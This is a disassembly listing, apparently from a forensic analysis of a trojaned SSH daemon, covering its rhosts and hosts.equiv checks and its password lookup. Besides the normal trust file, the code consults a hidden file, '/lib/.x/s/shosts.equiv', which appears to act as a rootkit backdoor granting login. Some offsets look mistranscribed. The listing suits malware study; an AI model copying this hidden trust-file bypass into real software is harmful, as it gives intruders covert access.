0804e467  83 c4 10                    add     $0x10,%esp
0804e46a  85 c0                       test    %eax,%eax
0804e46c  0f 85 16 01 00 00           jne     0804e588 <Unknown0023+0x3b0>   ;278 'x16 x1 x0 x0' ""
0804e472  80 3b 40                    cmpb    $0x40,(%ebx)
0804e475  75 1d                       jne     0804e494 <Unknown0023+0x2bc>
0804e477  6a 00                       push    $0x0
0804e479  ff 75 18                    pushl   0x18(%ebp)
0804e47c  6a 00                       push    $0x0
0804e47e  8d 43 01                    lea     0x1(%ebx),%eax
0804e481  50                          push    %eax
0804e482  e8 45 bd ff ff              call    0804a1cc <innetgr>
0804e487  83 c4 10                    add     $0x10,%esp
0804e48a  85 c0                       test    %eax,%eax
0804e48c  75 1d                       jne     0804e4ab <Unknown0023+0x2d3>
0804e48e  e9 f5 00 00 00              jmp     0804e588 <Unknown0023+0x3b0>   ;245 'xf5 x0 x0 x0' ""
0804e493  90                          nop
0804e494  83 ec 08                    sub     $0x8,%esp
0804e497  ff 75 18                    pushl   0x18(%ebp)
0804e49a  53                          push    %ebx
0804e49b  e8 2c b8 ff ff              call    08049ccc <strcmp>
0804e4a0  83 c4 10                    add     $0x10,%esp
0804e4a3  85 c0                       test    %eax,%eax
0804e4a5  0f 85 dd 00 00 00           jne     0804e588 <Unknown0023+0x3b0>   ;221 'xdd x0 x0 x0' ""
0804e4ab  a1 f4 df 07 08              mov     0x807dff4,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e4b0  85 c0                       test    %eax,%eax
0804e4b2  c7 85 d8 ef ff ff 00 00 00 00  movl  $0x0,0xffffefd8(%ebp)   ;0 'x0 x0 x0 x0' ""
0804e4bc  74 36                       je      0804e4f4 <Unknown0023+0x31c>
0804e4be  31 db                       xor     %ebx,%ebx
0804e4c0  39 c3                       cmp     %eax,%ebx
0804e4c2  73 30                       jae     0804e4f4 <Unknown0023+0x31c>
0804e4c4  bf f8 df 07 08              mov     $0x807dff8,%edi   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e4c9  8d 76 00                    lea     0x0(%esi),%esi
0804e4cc  83 ec 08                    sub     $0x8,%esp
0804e4cf  ff 37                       pushl   (%edi)
0804e4d1  56                          push    %esi
0804e4d2  e8 35 f3 00 00              call    0805d80c <Unknown0257>
0804e4d7  83 c4 10                    add     $0x10,%esp
0804e4da  85 c0                       test    %eax,%eax
0804e4dc  74 0a                       je      0804e4e8 <Unknown0023+0x310>
0804e4de  c7 85 d8 ef ff ff 01 00 00 00  movl  $0x1,0xffffefd8(%ebp)   ;1 'x1 x0 x0 x0' ""
0804e4e8  43                          inc     %ebx
0804e4e9  83 c7 04                    add     $0x4,%edi
0804e4ec  3b 1d f4 df 07 08           cmp     0x807dff4,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e4f2  72 d8                       jb      0804e4cc <Unknown0023+0x2f4>
0804e4f4  8b bd d8 ef ff ff           mov     0xffffefd8(%ebp),%edi   ;-4136 'xd8 xef xff xff' ""
0804e4fa  85 ff                       test    %edi,%edi
0804e4fc  75 44                       jne     0804e542 <Unknown0023+0x36a>
0804e4fe  a1 f0 db 07 08              mov     0x807dbf0,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e503  85 c0                       test    %eax,%eax
0804e505  74 3b                       je      0804e542 <Unknown0023+0x36a>
0804e507  31 db                       xor     %ebx,%ebx
0804e509  bf f4 db 07 08              mov     $0x807dbf4,%edi   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e50e  eb 09                       jmp     0804e519 <Unknown0023+0x341>
0804e510  83 c7 04                    add     $0x4,%edi
```

```
0804e513  43                       inc    %ebx
0804e514  a1 f0 db 07 08           mov    0x807dbf0,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e519  39 c3                    cmp    %eax,%ebx
0804e51b  73 17                    jae    0804e534 <Unknown0023+0x35c>
0804e51d  83 ec 08                 sub    $0x8,%esp
0804e520  ff 37                    pushl  (%edi)
0804e522  56                       push   %esi
0804e523  e8 e4 f2 00 00           call   0805d80c <Unknown0257>
0804e528  83 c4 10                 add    $0x10,%esp
0804e52b  85 c0                    test   %eax,%eax
0804e52d  74 e1                    je     0804e510 <Unknown0023+0x338>
0804e52f  a1 f0 db 07 08           mov    0x807dbf0,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e534  39 c3                    cmp    %eax,%ebx
0804e536  72 0a                    jb     0804e542 <Unknown0023+0x36a>
0804e538  c7 85 d8 ef ff ff 01 00 00 00  movl  $0x1,0xffffefd8(%ebp)  ;1 'x1 x0 x0 x0' ""
0804e542  8b 9d d8 ef ff ff        mov    0xffffefd8(%ebp),%ebx  ;-4136 'xd8 xef xff xff' ""
0804e548  85 db                    test   %ebx,%ebx
0804e54a  74 14                    je     0804e560 <Unknown0023+0x388>
0804e54c  51                       push   %ecx
0804e54d  56                       push   %esi
0804e54e  ff 75 0c                 pushl  0xc(%ebp)
0804e551  68 a0 d8 06 08           push   $0x806d8a0 ;[in .rodata] 543519573 'x55 x73 x65 x20' "Use of
                                          %.100s denied for %.100s"
0804e556  e8 c1 16 00 00           call   0804fc1c <Unknown0036>
0804e55b  83 c4 10                 add    $0x10,%esp
0804e55e  eb 28                    jmp    0804e588 <Unknown0023+0x3b0>
0804e560  83 ec 0c                 sub    $0xc,%esp
0804e563  ff b5 e4 ef ff ff        pushl  0xffffefe4(%ebp)  ;-4124 'xe4 xef xff xff' ""
0804e569  e8 42 05 01 00           call   0805eab0 <Unknown0280>
0804e56e  8b 95 dc ef ff ff        mov    0xffffefdc(%ebp),%edx  ;-4132 'xdc xef xff xff' ""
0804e574  83 c4 10                 add    $0x10,%esp
0804e577  85 d2                    test   %edx,%edx
0804e579  0f 85 9d fc ff ff        jne    0804e21c <Unknown0023+0x44>  ;-867 'x9d xfc xff xff' ""
0804e57f  b8 01 00 00 00           mov    $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804e584  eb 34                    jmp    0804e5ba <Unknown0023+0x3e2>
0804e586  89 f6                    mov    %esi,%esi
0804e588  50                       push   %eax
0804e589  ff b5 e4 ef ff ff        pushl  0xffffefe4(%ebp)  ;-4124 'xe4 xef xff xff' ""
0804e58f  68 00 04 00 00           push   $0x400 ;1024 'x0 x4 x0 x0' ""
0804e594  ff b5 e0 ef ff ff        pushl  0xffffefe0(%ebp)  ;-4128 'xe0 xef xff xff' ""
0804e59a  e8 41 08 01 00           call   0805ede0 <Unknown0285>
0804e59f  83 c4 10                 add    $0x10,%esp
0804e5a2  85 c0                    test   %eax,%eax
0804e5a4  0f 85 9e fc ff ff        jne    0804e248 <Unknown0023+0x70>  ;-866 'x9e xfc xff xff' ""
0804e5aa  83 ec 0c                 sub    $0xc,%esp
0804e5ad  ff b5 e4 ef ff ff        pushl  0xffffefe4(%ebp)  ;-4124 'xe4 xef xff xff' ""
0804e5b3  e8 f8 04 01 00           call   0805eab0 <Unknown0280>
0804e5b8  31 c0                    xor    %eax,%eax
0804e5ba  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
0804e5bd  5b                       pop    %ebx
0804e5be  5e                       pop    %esi
0804e5bf  5f                       pop    %edi
0804e5c0  5d                       pop    %ebp
0804e5c1  c3                       ret
0804e5c2  89 f6                    mov    %esi,%esi


  ;
  ; >----------------------<  Subroutine #  24 >----------------------<
  ;
0804e5c4 <Unknown0024>:
0804e5c4  55                       push   %ebp
0804e5c5  89 e5                    mov    %esp,%ebp
0804e5c7  57                       push   %edi
0804e5c8  56                       push   %esi
0804e5c9  53                       push   %ebx
0804e5ca  81 ec 7c 04 00 00        sub    $0x47c,%esp  ;1148 'x7c x4 x0 x0' "|"
0804e5d0  8b 75 08                 mov    0x8(%ebp),%esi
0804e5d3  8d bd e8 fb ff ff        lea    0xfffffbe8(%ebp),%edi  ;-1048 'xe8 xfb xff xff' ""
0804e5d9  c7 85 80 fb ff ff 00 00 00 00  movl  $0x0,0xfffffb80(%ebp)  ;0 'x0 x0 x0 x0' ""
0804e5e3  eb 09                    jmp    0804e5ee <Unknown0024+0x2a>
0804e5e5  8d 76 00                 lea    0x0(%esi),%esi
0804e5e8  ff 85 80 fb ff ff        incl   0xfffffb80(%ebp)  ;-1152 'x80 xfb xff xff' ""
0804e5ee  8b 9d 80 fb ff ff        mov    0xfffffb80(%ebp),%ebx  ;-1152 'x80 xfb xff xff' ""
0804e5f4  c1 e3 02                 shl    $0x2,%ebx
0804e5f7  8b 83 e8 7b 07 08        mov    0x8077be8(%ebx),%eax  ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e5fd  85 c0                    test   %eax,%eax
0804e5ff  74 31                    je     0804e632 <Unknown0024+0x6e>
0804e601  83 ec 0c                 sub    $0xc,%esp
0804e604  50                       push   %eax
0804e605  ff 76 14                 pushl  0x14(%esi)
0804e608  68 f2 d8 06 08           push   $0x806d8f2  ;[in .rodata] 808791589 'x25 x2e x35 x30'
                                          "%.500s/%.100s"
0804e60d  68 00 04 00 00           push   $0x400 ;1024 'x0 x4 x0 x0' ""
```

```
0804e612  57                       push   %edi
0804e613  e8 c4 bc ff ff           call   0804a2dc <snprintf>
0804e618  83 c4 1c                 add    $0x1c,%esp
0804e61b  8d 85 88 fb ff ff        lea    0xfffffb88(%ebp),%eax   ;-1144 'x88 xfb xff xff' ""
0804e621  50                       push   %eax
0804e622  57                       push   %edi
0804e623  ff 76 08                 pushl  0x8(%esi)
0804e626  e8 69 09 01 00           call   0805ef94 <Unknown0287>
0804e62b  83 c4 10                 add    $0x10,%esp
0804e62e  85 c0                    test   %eax,%eax
0804e630  78 b6                    js     0804e5e8 <Unknown0024+0x24>
0804e632  8b 93 e8 7b 07 08        mov    0x8077be8(%ebx),%edx   ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e638  85 d2                    test   %edx,%edx
0804e63a  75 36                    jne    0804e672 <Unknown0024+0xae>
0804e63c  50                       push   %eax
0804e63d  8d 9d 88 fb ff ff        lea    0xfffffb88(%ebp),%ebx   ;-1144 'x88 xfb xff xff' ""
0804e643  53                       push   %ebx
0804e644  68 00 d9 06 08           push   $0x806d900   ;[in .rodata] 1668572463 'x2f x65 x74 x63'
                                                        "/etc/hosts.equiv"
0804e649  ff 76 08                 pushl  0x8(%esi)
0804e64c  e8 43 09 01 00           call   0805ef94 <Unknown0287>
0804e651  83 c4 10                 add    $0x10,%esp
0804e654  85 c0                    test   %eax,%eax
0804e656  79 1a                    jns    0804e672 <Unknown0024+0xae>
0804e658  57                       push   %edi
0804e659  53                       push   %ebx
0804e65a  68 11 d9 06 08           push   $0x806d911   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                        "/lib/.x/s/shosts.equiv"
0804e65f  ff 76 08                 pushl  0x8(%esi)
0804e662  e8 2d 09 01 00           call   0805ef94 <Unknown0287>
0804e667  83 c4 10                 add    $0x10,%esp
0804e66a  85 c0                    test   %eax,%eax
0804e66c  0f 88 8e 02 00 00        js     0804e8fb <Unknown0024+0x33c>   ;654 'x8e x2 x0 x0' ""
0804e672  e8 b5 25 00 00           call   08050c2c <Unknown0055>
0804e677  89 c7                    mov    %eax,%edi
0804e679  e8 ae 26 00 00           call   08050d2c <Unknown0056>
0804e67e  89 85 84 fb ff ff        mov    %eax,0xfffffb84(%ebp)   ;-1148 'x84 xfb xff xff' ""
0804e684  e8 77 28 00 00           call   08050f00 <Unknown0059>
0804e689  89 c2                    mov    %eax,%edx
0804e68b  8d 82 00 fe ff ff        lea    0xfffffe00(%edx),%eax   ;-512 'x0 xfe xff xff' ""
0804e691  3d ff 01 00 00           cmp    $0x1ff,%eax   ;511 'xff x1 x0 x0' ""
0804e696  76 1c                    jbe    0804e6b4 <Unknown0024+0xf0>
0804e698  56                       push   %esi
0804e699  52                       push   %edx
0804e69a  57                       push   %edi
0804e69b  68 40 d9 06 08           push   $0x806d940   ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                        from %.100s from nonprivileged port %d"
0804e6a0  e8 77 15 00 00           call   0804fc1c <Unknown0036>
0804e6a5  c7 04 24 80 d9 06 08     movl   $0x806d980,(%esp,1)   ;[in .rodata] 1920298841 'x59 x6f x75 x72'
                                                        "Your ssh client is not running as root."
0804e6ac  e9 4a 02 00 00           jmp    0804e8fb <Unknown0024+0x337>   ;586 'x4a x2 x0 x0' "J"
0804e6b1  8d 76 00                 lea    0x0(%esi),%esi
0804e6b4  8b 5e 08                 mov    0x8(%esi),%ebx
0804e6b7  85 db                    test   %ebx,%ebx
0804e6b9  74 7d                    je     0804e738 <Unknown0024+0x174>
0804e6bb  83 ec 08                 sub    $0x8,%esp
0804e6be  ff 36                    pushl  (%esi)
0804e6c0  ff 75 0c                 pushl  0xc(%ebp)
0804e6c3  ff b5 84 fb ff ff        pushl  0xfffffb84(%ebp)   ;-1148 'x84 xfb xff xff' ""
0804e6c9  57                       push   %edi
0804e6ca  68 00 d9 06 08           push   $0x806d900   ;[in .rodata] 1668572463 'x2f x65 x74 x63'
                                                        "/etc/hosts.equiv"
0804e6cf  51                       push   %ecx
0804e6d0  e8 f7 bd ff ff           call   0804a4cc <geteuid>
0804e6d5  89 04 24                 mov    %eax,(%esp,1)
0804e6d8  e8 fb fa ff ff           call   0804e1d8 <Unknown0023>
0804e6dd  83 c4 20                 add    $0x20,%esp
0804e6e0  85 c0                    test   %eax,%eax
0804e6e2  74 14                    je     0804e6f8 <Unknown0024+0x134>
0804e6e4  52                       push   %edx
0804e6e5  ff b5 84 fb ff ff        pushl  0xfffffb84(%ebp)   ;-1148 'x84 xfb xff xff' ""
0804e6eb  57                       push   %edi
0804e6ec  68 c0 d9 06 08           push   $0x806d9c0   ;[in .rodata] 1701012289 'x41 x63 x63 x65' "Accepted
                                                        for %.100s [%.100s] by /etc/hosts.equiv."
0804e6f1  e9 d3 00 00 00           jmp    0804e7c9 <Unknown0024+0x205>   ;211 'xd3 x0 x0 x0' ""
0804e6f6  89 f6                    mov    %esi,%esi
0804e6f8  83 ec 08                 sub    $0x8,%esp
0804e6fb  ff 36                    pushl  (%esi)
0804e6fd  ff 75 0c                 pushl  0xc(%ebp)
0804e700  ff b5 84 fb ff ff        pushl  0xfffffb84(%ebp)   ;-1148 'x84 xfb xff xff' ""
0804e706  57                       push   %edi
0804e707  68 11 d9 06 08           push   $0x806d911   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                        "/lib/.x/s/shosts.equiv"
0804e70c  50                       push   %eax
```

```
0804e70d  e8 ba bd ff ff           call    0804a4cc <geteuid>
0804e712  89 04 24                 mov     %eax,(%esp,1)
0804e715  e8 be fa ff ff           call    0804e1d8 <Unknown0023>
0804e71a  83 c4 20                 add     $0x20,%esp
0804e71d  85 c0                    test    %eax,%eax
0804e71f  74 17                    je      0804e738 <Unknown0024+0x174>
0804e721  68 11 d9 06 08           push    $0x806d911  ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                       "/lib/.x/s/shosts.equiv"
0804e726  ff b5 84 fb ff ff        pushl   0xfffffb84(%ebp)  ;-1148 'x84 xfb xff xff' ""
0804e72c  57                       push    %edi
0804e72d  68 00 da 06 08           push    $0x806da00  ;[in .rodata] 1701012289 'x41 x63 x63 x65' "Accepted
                                                       for %.100s [%.100s] by %.100s."
0804e732  e9 92 00 00 00           jmp     0804e7c9 <Unknown0024+0x205>  ;146 'x92 x0 x0 x0' ""
0804e737  90                       nop
0804e738  53                       push    %ebx
0804e739  8d 85 88 fb ff ff        lea     0xfffffb88(%ebp),%eax  ;-1144 'x88 xfb xff xff' ""
0804e73f  50                       push    %eax
0804e740  ff 76 14                 pushl   0x14(%esi)
0804e743  ff 76 08                 pushl   0x8(%esi)
0804e746  e8 49 08 01 00           call    0805ef94 <Unknown0287>
0804e74b  83 c4 10                 add     $0x10,%esp
0804e74e  85 c0                    test    %eax,%eax
0804e750  79 22                    jns     0804e774 <Unknown0024+0x1b0>
0804e752  51                       push    %ecx
0804e753  ff 76 14                 pushl   0x14(%esi)
0804e756  ff 36                    pushl   (%esi)
0804e758  68 40 da 06 08           push    $0x806da40  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                       authentication refused for %.100: no home directory
                                                       %.200s"
0804e75d  e8 ba 14 00 00           call    0804fc1c <Unknown0036>
0804e762  83 c4 0c                 add     $0xc,%esp
0804e765  ff 76 14                 pushl   0x14(%esi)
0804e768  ff 36                    pushl   (%esi)
0804e76a  68 40 da 06 08           push    $0x806da40  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                       authentication refused for %.100: no home directory
                                                       %.200s"
0804e76f  e9 87 01 00 00           jmp     0804e8fb <Unknown0024+0x337>  ;391 'x87 x1 x0 x0' ""
0804e774  8b 55 18                 mov     0x18(%ebp),%edx
0804e777  85 d2                    test    %edx,%edx
0804e779  74 5d                    je      0804e7d8 <Unknown0024+0x214>
0804e77b  8b 85 a0 fb ff ff        mov     0xfffffba0(%ebp),%eax  ;-1120 'xa0 xfb xff xff' ""
0804e781  85 c0                    test    %eax,%eax
0804e783  74 05                    je      0804e78a <Unknown0024+0x1c6>
0804e785  3b 46 08                 cmp     0x8(%esi),%eax
0804e788  75 0c                    jne     0804e796 <Unknown0024+0x1d2>
0804e78a  f7 85 98 fb ff ff 12 00 00 00  testl  $0x12,0xfffffb98(%ebp)  ;18 'x12 x0 x0 x0' ""
0804e794  74 42                    je      0804e7d8 <Unknown0024+0x214>
0804e796  83 ec 08                 sub     $0x8,%esp
0804e799  ff 36                    pushl   (%esi)
0804e79b  68 a0 da 06 08           push    $0x806daa0  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                       authentication refused for %.100s: bad ownership or
                                                       modes for home directory."
0804e7a0  e8 77 14 00 00           call    0804fc1c <Unknown0036>
0804e7a5  5f                       pop     %edi
0804e7a6  58                       pop     %eax
0804e7a7  ff 36                    pushl   (%esi)
0804e7a9  68 a0 da 06 08           push    $0x806daa0  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                       authentication refused for %.100s: bad ownership or
                                                       modes for home directory."
0804e7ae  e9 48 01 00 00           jmp     0804e8fb <Unknown0024+0x337>  ;328 'x48 x1 x0 x0' "H"
0804e7b3  90                       nop
0804e7b4  83 ec 08                 sub     $0x8,%esp
0804e7b7  8b 85 80 fb ff ff        mov     0xfffffb80(%ebp),%eax  ;-1152 'x80 xfb xff xff' ""
0804e7bd  ff 34 85 e8 7b 07 08     pushl   0x8077be8(,%eax,4)  ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e7c4  68 8d db 06 08           push    $0x806db8d  ;[in .rodata] 1701012289 'x41 x63 x63 x65' "Accepted by
                                                       %.100s."
0804e7c9  e8 ae 7f 00 00           call    0805677c <Unknown0156>
0804e7ce  b8 01 00 00 00           mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804e7d3  e9 2a 01 00 00           jmp     0804e902 <Unknown0024+0x33e>  ;298 'x2a x1 x0 x0' "*"
0804e7d8  8b 1d e8 7b 07 08        mov     0x8077be8,%ebx  ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e7de  85 db                    test    %ebx,%ebx
0804e7e0  c7 85 80 fb ff ff 00 00 00 00  movl  $0x0,0xfffffb80(%ebp)  ;0 'x0 x0 x0 x0' ""
0804e7ea  b8 e8 7b 07 08           mov     $0x8077be8,%eax  ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e7ef  0f 84 f6 00 00 00        je      0804e8eb <Unknown0024+0x327>  ;246 'xf6 x0 x0 x0' ""
0804e7f5  8d 9d e8 fb ff ff        lea     0xfffffbe8(%ebp),%ebx  ;-1048 'xe8 xfb xff xff' ""
0804e7fb  90                       nop
0804e7fc  83 ec 0c                 sub     $0xc,%esp
0804e7ff  8b 95 80 fb ff ff        mov     0xfffffb80(%ebp),%edx  ;-1152 'x80 xfb xff xff' ""
0804e805  ff 34 90                 pushl   (%eax,%edx,4)
0804e808  ff 76 14                 pushl   0x14(%esi)
0804e80b  68 f2 d8 06 08           push    $0x806d8f2  ;[in .rodata] 808791589 'x25 x2e x35 x30'
                                                       "%.500s/%.100s"
0804e810  68 00 04 00 00           push    $0x400  ;1024 'x0 x4 x0 x0' ""
```

```
0804e815   53                        push    %ebx
0804e816   e8 c1 ba ff ff            call    0804a2dc <snprintf>
0804e81b   83 c4 1c                  add     $0x1c,%esp
0804e81e   8d 85 88 fb ff ff         lea     0xffffff88(%ebp),%eax   ;-1144 'x88 xfb xff xff' ""
0804e824   50                        push    %eax
0804e825   53                        push    %ebx
0804e826   ff 76 08                  pushl   0x8(%esi)
0804e829   e8 66 07 01 00            call    0805ef94 <Unknown0287>
0804e82e   83 c4 10                  add     $0x10,%esp
0804e831   85 c0                     test    %eax,%eax
0804e833   0f 88 96 00 00 00         js      0804e8cf <Unknown0024+0x30b>   ;150 'x96 x0 x0 x0' ""
0804e839   8b 4d 18                  mov     0x18(%ebp),%ecx
0804e83c   85 c9                     test    %ecx,%ecx
0804e83e   74 34                     je      0804e874 <Unknown0024+0x2b0>
0804e840   8b 85 a0 fb ff ff         mov     0xffffffba0(%ebp),%eax   ;-1120 'xa0 xfb xff xff' ""
0804e846   85 c0                     test    %eax,%eax
0804e848   74 05                     je      0804e84f <Unknown0024+0x28b>
0804e84a   3b 46 08                  cmp     0x8(%esi),%eax
0804e84d   75 0c                     jne     0804e85b <Unknown0024+0x297>
0804e84f   f7 85 98 fb ff ff 12 00 00 00   testl  $0x12,0xffffffb98(%ebp)   ;18 'x12 x0 x0 x0' ""
0804e859   74 19                     je      0804e874 <Unknown0024+0x2b0>
0804e85b   52                        push    %edx
0804e85c   53                        push    %ebx
0804e85d   ff 36                     pushl   (%esi)
0804e85f   68 00 db 06 08            push    $0x806db00   ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                          authentication refused for %.100s: bad modes for
                                                          %.200s"
0804e864   e8 b3 13 00 00            call    0804fc1c <Unknown0036>
0804e869   59                        pop     %ecx
0804e86a   58                        pop     %eax
0804e86b   53                        push    %ebx
0804e86c   68 3f db 06 08            push    $0x806db3f   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad file
                                                          modes for %.200s"
0804e871   eb 2f                     jmp     0804e8a2 <Unknown0024+0x2de>
0804e873   90                        nop
0804e874   8b 46 08                  mov     0x8(%esi),%eax
0804e877   85 c0                     test    %eax,%eax
0804e879   75 07                     jne     0804e882 <Unknown0024+0x2be>
0804e87b   8b 55 14                  mov     0x14(%ebp),%edx
0804e87e   85 d2                     test    %edx,%edx
0804e880   75 0b                     jne     0804e88d <Unknown0024+0x2c9>
0804e882   85 c0                     test    %eax,%eax
0804e884   74 26                     je      0804e8ac <Unknown0024+0x2e8>
0804e886   8b 4d 10                  mov     0x10(%ebp),%ecx
0804e889   85 c9                     test    %ecx,%ecx
0804e88b   74 1f                     je      0804e8ac <Unknown0024+0x2e8>
0804e88d   83 ec 08                  sub     $0x8,%esp
0804e890   8b 85 80 fb ff ff         mov     0xffffffb80(%ebp),%eax   ;-1152 'x80 xfb xff xff' ""
0804e896   ff 34 85 e8 7b 07 08      pushl   0x8077be8(,%eax,4)   ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e89d   68 60 db 06 08            push    $0x806db60   ;[in .rodata] 1987208531 'x53 x65 x72 x76' "Server has
                                                          been configured to ignore %.100s."
0804e8a2   e8 d5 7e 00 00            call    0805677c <Unknown0156>
0804e8a7   83 c4 10                  add     $0x10,%esp
0804e8aa   eb 23                     jmp     0804e8cf <Unknown0024+0x30b>
0804e8ac   83 ec 08                  sub     $0x8,%esp
0804e8af   ff 36                     pushl   (%esi)
0804e8b1   ff 75 0c                  pushl   0xc(%ebp)
0804e8b4   ff b5 84 fb ff ff         pushl   0xffffffb84(%ebp)   ;-1148 'x84 xfb xff xff' ""
0804e8ba   57                        push    %edi
0804e8bb   53                        push    %ebx
0804e8bc   ff 76 08                  pushl   0x8(%esi)
0804e8bf   e8 14 f9 ff ff            call    0804e1d8 <Unknown0023>
0804e8c4   83 c4 20                  add     $0x20,%esp
0804e8c7   85 c0                     test    %eax,%eax
0804e8c9   0f 85 e5 fe ff ff         jne     0804e7b4 <Unknown0024+0x1f0>   ;-283 'xe5 xfe xff xff' ""
0804e8cf   ff 85 80 fb ff ff         incl    0xffffffb80(%ebp)   ;-1152 'x80 xfb xff xff' ""
0804e8d5   b8 e8 7b 07 08            mov     $0x8077be8,%eax   ;[in .data] 134666474 'xea xd8 x6 x8' ""
0804e8da   8b 95 80 fb ff ff         mov     0xffffffb80(%ebp),%edx   ;-1152 'x80 xfb xff xff' ""
0804e8e0   8b 14 90                  mov     (%eax,%edx,4),%edx
0804e8e3   85 d2                     test    %edx,%edx
0804e8e5   0f 85 11 ff ff ff         jne     0804e7fc <Unknown0024+0x238>   ;-239 'x11 xff xff xff' ""
0804e8eb   e8 3c 23 00 00            call    08050c2c <Unknown0055>
0804e8f0   50                        push    %eax
0804e8f1   ff 36                     pushl   (%esi)
0804e8f3   ff 75 0c                  pushl   0xc(%ebp)
0804e8f6   68 c0 db 06 08            push    $0x806dbc0   ;[in .rodata] 1936681042 'x52 x68 x6f x73'
                                                          "Rhosts/hosts.equiv authentication refused: client user
                                                          '%.100s', server user '%.100s', client host '"
0804e8fb   e8 7c 7e 00 00            call    0805677c <Unknown0156>
0804e900   31 c0                     xor     %eax,%eax
0804e902   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0804e905   5b                        pop     %ebx
0804e906   5e                        pop     %esi
0804e907   5f                        pop     %edi
```

```
0804e908  5d                      pop     %ebp
0804e909  c3                      ret
0804e90a  89 f6                   mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine #  25 >---------------------<
  ;
0804e90c <Unknown0025>:
0804e90c  55                      push    %ebp
0804e90d  89 e5                   mov     %esp,%ebp
0804e90f  57                      push    %edi
0804e910  56                      push    %esi
0804e911  53                      push    %ebx
0804e912  81 ec f0 00 00 00       sub     $0xf0,%esp   ;240 'xf0 x0 x0 x0' ""
0804e918  68 c8 00 00 00          push    $0xc8   ;200 'xc8 x0 x0 x0' ""
0804e91d  68 ff 00 00 00          push    $0xff   ;255 'xff x0 x0 x0' ""
0804e922  8d 85 18 ff ff ff       lea     0xffffff18(%ebp),%eax   ;-232 'x18 xff xff xff' ""
0804e928  50                      push    %eax
0804e929  8b 75 08                mov     0x8(%ebp),%esi
0804e92c  e8 7b ba ff ff          call    0804a3ac <memset>
0804e931  8b 45 0c                mov     0xc(%ebp),%eax
0804e934  83 c4 10                add     $0x10,%esp
0804e937  80 38 00                cmpb    $0x0,(%eax)
0804e93a  75 20                   jne     0804e95c <Unknown0025+0x50>
0804e93c  a1 d4 db 07 08          mov     0x807dbd4,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e941  85 c0                   test    %eax,%eax
0804e943  75 17                   jne     0804e95c <Unknown0025+0x50>
0804e945  83 ec 0c                sub     $0xc,%esp
0804e948  68 40 dc 06 08          push    $0x806dc40   ;[in .rodata] 1987208531 'x53 x65 x72 x76' "Server does
                                                         not permit empty password login."
0804e94d  e8 2a 7e 00 00          call    0805677c <Unknown0156>
0804e952  31 c0                   xor     %eax,%eax
0804e954  e9 58 01 00 00          jmp     0804eab1 <Unknown0025+0x1a5>   ;344 'x58 x1 x0 x0' "X"
0804e959  8d 76 00                lea     0x0(%esi),%esi
0804e95c  83 ec 0c                sub     $0xc,%esp
0804e95f  56                      push    %esi
0804e960  e8 d7 b9 ff ff          call    0804a33c <getpwnam>
0804e965  89 c3                   mov     %eax,%ebx
0804e967  83 c4 10                add     $0x10,%esp
0804e96a  85 db                   test    %ebx,%ebx
0804e96c  75 0a                   jne     0804e978 <Unknown0025+0x6c>
0804e96e  31 c0                   xor     %eax,%eax
0804e970  e9 3c 01 00 00          jmp     0804eab1 <Unknown0025+0x1a5>   ;316 'x3c x1 x0 x0' "<"
0804e975  8d 76 00                lea     0x0(%esi),%esi
0804e978  83 ec 0c                sub     $0xc,%esp
0804e97b  ff 33                   pushl   (%ebx)
0804e97d  e8 b6 85 00 00          call    08056f38 <Unknown0173>
0804e982  5f                      pop     %edi
0804e983  89 85 14 ff ff ff       mov     %eax,0xffffff14(%ebp)   ;-236 'x14 xff xff xff' ""
0804e989  ff 73 04                pushl   0x4(%ebx)
0804e98c  e8 a7 85 00 00          call    08056f38 <Unknown0173>
0804e991  83 c4 0c                add     $0xc,%esp
0804e994  68 c8 00 00 00          push    $0xc8   ;200 'xc8 x0 x0 x0' ""
0804e999  89 c7                   mov     %eax,%edi
0804e99b  57                      push    %edi
0804e99c  8d 9d 18 ff ff ff       lea     0xffffff18(%ebp),%ebx   ;-232 'x18 xff xff xff' ""
0804e9a2  53                      push    %ebx
0804e9a3  e8 24 ba ff ff          call    0804a3cc <strncpy>
0804e9a8  59                      pop     %ecx
0804e9a9  ff b5 14 ff ff ff       pushl   0xffffff14(%ebp)   ;-236 'x14 xff xff xff' ""
0804e9af  e8 48 b2 ff ff          call    08049bfc <getspnam>
0804e9b4  83 c4 10                add     $0x10,%esp
0804e9b7  85 c0                   test    %eax,%eax
0804e9b9  74 12                   je      0804e9cd <Unknown0025+0xc1>
0804e9bb  52                      push    %edx
0804e9bc  68 c8 00 00 00          push    $0xc8   ;200 'xc8 x0 x0 x0' ""
0804e9c1  ff 70 04                pushl   0x4(%eax)
0804e9c4  53                      push    %ebx
0804e9c5  e8 02 ba ff ff          call    0804a3cc <strncpy>
0804e9ca  83 c4 10                add     $0x10,%esp
0804e9cd  e8 ba b8 ff ff          call    0804a28c <endspent>
0804e9d2  8b 45 0c                mov     0xc(%ebp),%eax
0804e9d5  80 38 00                cmpb    $0x0,(%eax)
